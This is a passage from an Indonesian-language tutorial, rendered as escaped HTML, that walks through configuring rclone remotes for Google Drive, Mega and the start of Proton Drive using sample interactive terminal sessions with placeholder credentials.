&lt;/span&gt;&lt;span&gt;with&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;remote?&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;41&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Say&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Y&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;the&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;machine&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;running&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;has&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;web&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;browser&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;you&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;can&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;use&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;42&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;*&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Say&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;N&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;running&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;on&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt; (remote) machine without web browser access&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;43&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;If&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;not&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;sure&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;try&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Y.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;If&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Y&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;failed,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;try&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;N.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;44&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;y&lt;/span&gt;&lt;span&gt;) Yes&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;45&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;n&lt;/span&gt;&lt;span&gt;) No&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;46&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;y/n&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;y&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;47&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;If&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;your&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;browser&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;doesn&apos;t open automatically go to the following link: http://127.0.0.1:53682/auth&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;48&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Log in and authorize rclone for access&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;49&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Waiting for code...&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;50&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Got code&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;51&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Configure this as a Shared Drive (Team Drive)?&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;52&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;y) Yes&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;53&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;n) No&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;54&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;y/n&amp;gt; n&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;55&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Configuration complete.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;56&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Options:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;57&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;type: drive&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;58&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;- client_id:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;59&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;- client_secret:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;60&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;- scope: drive&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;61&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;- root_folder_id:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;62&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;- service_account_file:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;63&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;- token: {&quot;access_token&quot;:&quot;XXX&quot;,&quot;token_type&quot;:&quot;Bearer&quot;,&quot;refresh_token&quot;:&quot;XXX&quot;,&quot;expiry&quot;:&quot;2014-03-16T13:57:58.955387075Z&quot;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;64&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Keep this &quot;remote&quot; remote?&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;65&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;y) Yes this is OK&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;66&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;e) Edit this remote&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;67&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;d) Delete this remote&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;68&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;y/e/d&amp;gt; y&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Kita bisa melihat konfigurasi Google Drive:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;config&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;show&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;nama_drive&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Google Drive configuration&quot; loading=&quot;lazy&quot; width=&quot;1411&quot; height=&quot;559&quot; src=&quot;/_astro/ss2.CLDzGRh1_2sueKU.webp&quot; /&gt;&lt;figcaption&gt;Google Drive configuration&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;2. Mega&lt;a href=&quot;#2-mega&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;blockquote&gt;&lt;p&gt;&lt;a href=&quot;https://mega.io/&quot; target=&quot;_blank&quot;&gt;Mega&lt;/a&gt; menyediakan [&lt;strong&gt;20 GB&lt;/strong&gt;] penyimpanan gratis kepada penggunanya.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Persyaratan yang perlu dipenuhi:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;username (email)&lt;/li&gt;
&lt;li&gt;password&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Berikut adalah langkah-langkah (yang paling sederhana) untuk mengkonfigurasi Mega.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;config&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Selanjutnya, kita akan diarahkan pada proses interaktif:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;No&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;remotes&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;found,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;make&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;new&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;one?&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;n&lt;/span&gt;&lt;span&gt;) New remote&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;s&lt;/span&gt;&lt;span&gt;) Set configuration password&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;q&lt;/span&gt;&lt;span&gt;) Quit config&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;n/s/q&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;n&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;mega&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# ini boleh diisi sesuai nama yang ingin kalian buat.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Type&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;of&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;storage&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;to&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;configure.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Choose&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;number&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;from&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;below,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;or&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;type&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;your&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;own&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;value&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[snip]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;XX&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;Mega&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;   &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;mega&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[snip]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Storage&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;mega&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;User&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;name&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;user&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;you@example.com&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Password.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;y&lt;/span&gt;&lt;span&gt;) Yes type in my own password&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;g&lt;/span&gt;&lt;span&gt;) Generate random password&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;n&lt;/span&gt;&lt;span&gt;) No leave this optional password blank&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;y/g/n&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;y&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Enter&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;the&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;password:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;password:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Confirm&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;the&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;password:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;password:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Remote&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;config&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Configuration&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;complete.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Options:&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;type:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mega&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;user:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;you@example.com&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;30&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pass:&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;***&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ENCRYPTED&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;***&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;31&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;Keep&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;this&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;remote&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;remote?&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;32&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;y&lt;/span&gt;&lt;span&gt;) Yes this is OK&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;33&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;e&lt;/span&gt;&lt;span&gt;) Edit this remote&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;34&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;d&lt;/span&gt;&lt;span&gt;) Delete this remote&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;35&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;y/e/d&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;y&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Kita bisa melihat konfigurasi Mega:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;config&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;show&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;nama_drive&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Mega configuration&quot; loading=&quot;lazy&quot; width=&quot;1101&quot; height=&quot;475&quot; src=&quot;/_astro/ss4.DHJAIO-I_wA3le.webp&quot; /&gt;&lt;figcaption&gt;Mega configuration&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;3. Proton Drive&lt;a href=&quot;#3-proton-drive&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;blockquote&gt;&lt;p&gt;&lt;a href=&quot;https://proton.me/drive&quot; target=&quot;_blank&quot;&gt;Proton Drive&lt;/a&gt; menyediakan [&lt;strong&gt;2 GB&lt;/strong&gt;] penyimpanan gratis kepada penggunanya.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Persyaratan yang perlu dipenuhi:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;username (email)&lt;/li&gt;
&lt;li&gt;password&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Berikut adalah langkah-langkah (yang paling sederhana) untuk mengkonfigurasi Proton Drive.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;rclone&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;config&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Selanjutnya, kita akan diarahkan pada proses interaktif:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;No&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;remotes&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;found,&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;make&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;new&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;one?&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;n&lt;/span&gt;&lt;span&gt;) New remote&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;s&lt;/span&gt;&lt;span&gt;) Set configuration password&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;q&lt;/span&gt;&lt;span&gt;) Quit config&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;n/s/q&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;n&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt;&amp;gt; &lt;/span&gt;&lt;span&gt;protondrive&lt;/span&gt;&lt;span&gt; 